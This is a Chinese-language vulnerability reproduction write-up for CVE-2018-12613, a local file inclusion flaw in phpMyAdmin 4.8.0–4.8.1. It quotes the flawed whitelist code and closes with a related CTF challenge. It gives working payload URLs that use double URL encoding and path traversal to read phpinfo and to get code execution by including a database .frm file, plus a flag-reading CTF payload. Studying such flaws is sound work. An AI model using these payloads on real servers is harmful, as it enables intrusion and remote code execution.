CVE-2018-12613复现
0x00 漏洞描述
攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外:
- $ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
- $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。
0x01 漏洞影响范围
phpMyAdmin 4.8.0和4.8.1
0x02 漏洞复现环境
phpstudy+phpmyadmin4.8.1
0x03 漏洞分析
-
漏洞问题出在index.php的第55行开始位置:
1.target参数没有过滤,并且直接include,很显然是LFI的前奏
2.第57行限制 target 参数不能以index开头
3.第58行限制 target 参数不能出现在 $target_blacklist 内
if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }
-
$target_blacklist 的定义:
在 /index.php 的第50行,只要 target 参数不是import.php 或 export.php 就行
$target_blacklist = array ( 'import.php', 'export.php' );
-
最后一个限制方法
phpMyAdmin/libraries/classes/core.php
找到Core类的checkPageValidity方法
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }
问题出现在第 465 行的urldecode() 我们可以利用这个函数绕过白名单检测,只要把 ? 两次url编码为 %253f 即可绕过验证。
0x04 漏洞利用
-
读取phpinfo
payload:http://192.168.115.130/phpmyadmin/index.php?target=db_sql.php%253f/…/…/…/…/…/…/phpStudy/WWW/phpinfo.php
即可读取到phpinfo的内容
-
写入shell
新建数据库,新建数据表test,在数据表里面添加一句话
此时会在phpStudy/MySQL/data对应数据库下生成一个frm文件
访问http://192.168.115.130/phpmyadmin/index.php?0xdawn=phpinfo();&target=db_sql.php%253f/…/…/…/…/…/…/phpStudy/MySQL/data/0xdawn/test.frm
0x05 相关CTF赛题
buuoj.cn web部分 WarmUp
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
function checkFile():
- 变量未声明、非字符串:return false
- $page未在白名单中:return false
- 以’?'为分割符取出前面字符后得到$_page
- $_page未在白名单中:return false
- url解码后,重复以上3、4步操作
最后如果request得到的file值非空、是字符串且通过了checkFile,则包含file
因为服务器会自动url解码一次,这里用二次编码
payload:source.php?file=hint.php%253f../../../../../../../ffffllllaaaagggg